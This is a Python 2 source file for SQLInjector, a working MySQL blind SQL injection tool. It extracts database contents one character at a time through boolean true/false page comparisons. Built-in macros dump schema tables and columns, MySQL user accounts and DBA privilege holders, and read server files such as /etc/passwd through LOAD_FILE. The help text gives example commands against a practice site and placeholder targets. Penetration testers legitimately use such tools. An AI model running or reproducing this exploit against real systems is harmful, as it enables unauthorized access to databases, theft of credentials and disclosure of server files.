# SQLInjector   -  MySQL Blind SQL injector.  
# Written by Mark Baggett twitter- @markbaggett
# known issues; 
# needs to pass cookies for authenticated websites

import md5, sys, urllib2, os, code
from freqcounter import *

def md5sum(value):
    hasher = md5.new()
    hasher.update(value)
    return hasher.hexdigest()

def fetch_page(url):
    request = urllib2.Request(url)
    requestor = urllib2.build_opener()
    request.addheaders = [('User-agent', 'Mozilla/5.0')]
    try:
      content = requestor.open(request).read()
      return content
    except urllib2.URLError:
      print "\n\n\nERROR RETRIEVING WEB PAGE: Please check the URL provided.  Verify the site "+str(url)+" is accessible.\n\n\n"
      sys.exit(1)

def injecturl(targeturl, freqtable): 
    urlstart, sqlquery, urlend = targeturl.replace(' ','%20').split("^")
    if sqlquery=="gettables":
     sqlquery="select/**/group_concat(table_name,0x2d,column_name)/**/FROM/**/information_schema.columns/**/where/**/table_schema!=0x6d7973716c/**/and/**/table_schema!=0x696e666f726d6174696f6e5f736368656d61"
    if sqlquery=="getusers":
      sqlquery="SELECT/**/group_concat(user)/**/FROM/**/mysql.user".replace(' ','%20')
    if sqlquery=="getdba":
      sqlquery="SELECT/**/group_concat(grantee,privilege_type,is_grantable)/**/FROM/**/information_schema.user_privileges/**/WHERE/**/privilege_type=0x"+"SUPER".encode("hex")
    #import pdb;pdb.set_trace()
    filetransfer=False
    if sqlquery[:8]=="getfile=":
      filetransfer=True
      sqlquery="SELECT/**/concat(LOAD_FILE('"+sqlquery[8:]+"'))"
    #import pdb;pdb.set_trace()
    urlend=urlend.replace(' ', '%20')
    # First lets see what a TRUE and a FALSE query looks like and store a hash of those for future comparison
    truecontent=fetch_page(urlstart + "/**/and/**/42=42/**/"+urlend)
    truehash = md5sum(truecontent)
    if searchstring!="usethemd5sum" and searchstring not in truecontent:  
      print "\n\n\nError: The Search String was not in the results of the query:" + urlstart + "/**/and/**/42=42/**/"+urlend
    falsehash = md5sum(fetch_page(urlstart + "/**/and/**/5=6/**/"+urlend))
    if falsehash==truehash:
	print "Not Injectable.  Check this URL with a browser (and try 1=0)."+urlstart + "/**/and/**/1=1/**/"+urlend
        sys.exit(1)
    global attemptcounter
    ret_str = []
    #start with the most frequent character in the database as the last character found
    last_ltr = freqtable.lookup(freqtable.keys()[0])[0]
    #element_found is a boolean that tracks when it has exhausted all characters in the set, which means we got all the data or the tallychars is to small. 
    element_found=0
    #i tracks which character we are trying to retrieve from resulting database query.  We retrieve the results 1 character at a time.  i is the current character.
    i=-1
    while not element_found:
      i += 1
      #bruteforce_array contains the characters in frequency order that follow the character we saw (last_ltr)
      bruteforce_array=freqtable.lookup(last_ltr)
      try:
       for j in range(len(bruteforce_array)):
        currentchar = bruteforce_array[j]
        querystring = urlstart+"/**/and/**/lower(mid(("+sqlquery+"),"+str(i+1)+",1))=char("+ str(ord(currentchar)) +")/**/"+urlend
        attemptcounter += 1
        if veryverbose:
          print '[Debug]: '+querystring
        #import pdb; pdb.set_trace()
        pagecontent=fetch_page(querystring)
        match=md5sum(pagecontent)==truehash
        if searchstring!="usethemd5sum":
          match=(searchstring in pagecontent)         
        if match:
           if learnweight > 0:
             freqtable.promote(last_ltr, bruteforce_array[j],learnweight)  # promote the last letter by the learnweight
           #woot!  our character matched.  Lets record it and get out of the for loop to move on the next character in the result (inc i)
           if verbose:
             print '[Debug]: '+currentchar+ " matched!"
           ret_str.append(bruteforce_array[j])
           print "".join(ret_str[:])
           last_ltr=bruteforce_array[j]
           break
        #If it gets here then that letter didn't match go on to the next one in the list of characters
        if verbose:
           print '[Debug]: '+currentchar+ " did not match.  Using array: "+bruteforce_array
        if j == len(bruteforce_array)-1 :
          if filetransfer:
            # If we are doing a file transfer (ie ^getfile=filename^) then check for new line (which is not in most frequency tables) when you exhaust the table
            bruteforce_array=bruteforce_array+chr(10)
            ret_str.append("\n")
            continue
          print "end of word found"
          element_found=1
      except:
        break 
    return ret_str

def printhelp():
  print """Here is your help.

python sqlinjector.py [-v] [-b] [-l weight] [-s <true match string>] [-f frequencytable] http://www.urltotarget.com/sqlinjectable.php?vulnerable=target^sql statement here^restoftheURL=value

The URL must be the LAST argument to the script.   The URL parameter is delimited with the carot (^) symbol.  You place two carots at the injection point on the URL then put the SQL statement that you want to execute between the carots.  See the examples at the end of this document for more information.

Some "macros" can be substituted in place of the SQL statement to retrieve common information from the target.  These macros include:
  gettables  - Retrieves a list of user tables and their associated columns in the format table1-column1, table1-column2, table1-column3, table2-column1, etc.
  getusers - Retrieves a list of users in the mysql users table
  getfile=filename - Retrieves a file from the remote system.  Ex ^getfile=/etc/passwd^
  getdba - Retrieves a list of database administrative accounts

Options:
[-v] be verbose

[-l weight] (Lower Case L) sqlinjector learns table and column names during the injection.  This parameter takes an integer that is used as the weight for learned characters.  By defaults it has a value of 5 meaning that it promotes each learned character by 5 places in the table.  For example, if the injector observes the letter "y" following the letter "w" it will increase the frequency count of 'y' so that it is higher than the letter that was 5 characters more likely than y so that subsequent requests will find the letter y more quickly.  "-l 0" will disable learning. 

[-s <true match string>]  specify a string that will only appear on the page when the expression is true.  If no -s parameter is provided then an MD5 of the page will be used for comparison.

[-f frequencytable] specify a frequency table to use for injection.  Choices include "default", "normal", "letters", "integers", "floats".  Frequency tables are stored in the same directory as the script and have the name 'sqlinjector-<name>.freq'.   For example, the sqlinjector-default.freq is used with the default option.  If you don't like the tables provided you can build your own.  Creating a frequency table targeted to the target url is recommended.

sqlinjector comes with the following frequency tables:

     tech:  This table is built from the text in the "normal" table.  So that the table favors "geek speak" used by database developers all the apprixmatly 20,000 "readme.txt" files were sampled.  In addition, default database names from open source projects were sampled with a weight of 1000.
     normal/default:   This table sampled large texts copies of classic literature including Moby Dick, Little Women, The complete works of Charles Dickens, War and Peace, A Tale of Two cities, Tom Sawyer and others.
     letters:   This table resampled the normal table but limited the "tallychars" to lowercase letters.
     floats:    This table resampled the normal table but limited the "tallychars" to integers and the decimal point.
     integers:  This table sampled the first 10 million digits in Pi to come up with a character frequency.  Note: Using this sql injection technique for numbers is less efficient that other sqlinjection methods.  Using this table is probably less efficient that using floats and only slightly more efficient than bruteforcing the integers. 

[-b] used for building new frequency tables.  When -b is specified you will be dropped into a python session with the frequency object loaded.   Once in the session you would build a new frequency table like this:

>>> c1=FreqCounter()    - Create a new Frequency counter object named c1
>>> c1.load("sqlinjector-default.freq")      - Load the default frequency counts
>>> c1.resetcounts  - reset all the characters to a frequency of 1
>>> c1.tallyfile("/Users/markbaggett/textdocuments/mobydick.txt")   - Add the character count from Moby Dick
1191463
>>> c1.tallyfile("/Users/markbaggett/textdocuments/lilwomen.txt")  - Add more characters..
1042048
>>> c1.tallyfile("/Users/markbaggett/textdocuments/war+peace.txt",weight=10)  - count each character in war and peace as 10 characters
3202941
>>> c1.save("sqlinjector-mytable.freq")  - Save a new frequency table for later use with the option '-f mytable'
>>> c2=FreqCounter()    -  Create a c2 instance of FreqCounter()
>>> c2.tallychars="abcdefghijklmnopqrstuvwxyz"    - specify the character sets that the "tally" functions will count.
>>> c2.tallydict(c1)    - Tally all the characters in c1 into c2 (reducing the table to just those things in tallychar)
>>> c2.save("sqlinjector-myletters.freq") - Save a new frequency table for later use with the option '-f myletters'

For a complete list of options available to build tables do the following:
>>> help(FreqCounter)

Example usage:
python sqlinjector.py -f normal "http://testphp.vulnweb.com/listproducts.php?cat=1^gettable^#"

--- Extract table-column pairs from the schema using MD5 to measure true/false queries.   Use the Normal frequency table.

or
python sqlinjector.py -l 30 -s Mistery -f default "http://testphp.vulnweb.com/listproducts.php?cat=1^select group_concat(table_name) from information_schema.tables where table_schema!=0x6d7973716c and table_schema!=0x696e666f726d6174696f6e5f736368656d61^#"

--- Extract table name from schema looking for the string "Mistery" in the response of true queries.  -l 30 means we learn tables quickly promoting characters found in the table to the top of the frequency table.    Use the default frequency table.

or
python sqlinjector.py -vv -f letters "http://target.tgt/vulnerable.php?id=1^select group_concat(firstname) from usertable^#"

or
python sqlinjector.py -v -f all "http://target.tgt/vulnerable.php?id=1^getfile=/etc/passwd^#"

Troubleshooting:  If your query returns no results try:
1)  Your SQL statement is probably broken.   Try -vv and paste the urls into a browser to see what it does.
2)  The results may contain a character that is not in your frequency table.   Try "-f all".  


"""

if "-h" in sys.argv or len(sys.argv) < 2:
  printhelp()
  sys.exit(2)

verbose=("-v" in sys.argv or "-vv" in sys.argv )
veryverbose=("-vv" in sys.argv)

if "-b" in sys.argv:
  code.interact("Type help(FreqCounter) for help.", raw_input, locals())

tablename="default"
if "-f" in sys.argv:
  if sys.argv.index("-f") == len(sys.argv)-1:
    print "\n\n\nYou must specify a frequency table with the -f parameter.  Try -h for help.\n\n\n"
    sys.exit(2)
  tablename=sys.argv[sys.argv.index("-f")+1]

searchstring="usethemd5sum"
if "-s" in sys.argv:
  if sys.argv.index("-s") == len(sys.argv)-1:
    print "\n\n\nYou must specify a search string with the -s parameter.  Try -h for help.\n\n\n"
    sys.exit(2)
  searchstring=sys.argv[sys.argv.index("-s")+1]

learnweight=5
if "-l" in sys.argv:
  if sys.argv.index("-l") == len(sys.argv)-1:
    print "\n\n\nYou must specify a weight to learned table and column names when using the -l parameter. 5 is the default. Try -h for help.\n\n\n"
    sys.exit(2)
  learnweight=int(sys.argv[sys.argv.index("-l")+1])

loadtable="sqlinjector-"+tablename+".freq"
try:
  f=open(loadtable,"r")
except IOError:
  print '\n\n\nInvalid Frequency Table.  Frequency Table "'+loadtable+'" does not exist.  Try -h for help.\n\n\n'
  sys.exit(2)
f.close

#target="http://testphp.vulnweb.com/listproducts.php?cat=1^database()^#"
#target="http://testphp.vulnweb.com/listproducts.php?cat=1^%gettables^#"

target = sys.argv[-1]
if target.count("^") < 2:
  print "\n\n\nInvalid URL specified.  You need to put carots at the injection point and put the sql statement you want to inject between the carots.  Try -h for help.\n\n\n"
  sys.exit(2)


lettercount=FreqCounter()
lettercount.load(loadtable)
current=0
attemptcounter=0
result = injecturl(target,lettercount)
print "Found target " + "".join(result) + " in " + str(attemptcounter) + " guesses. "+str(attemptcounter/(len(result)+1))+" guesses per character."
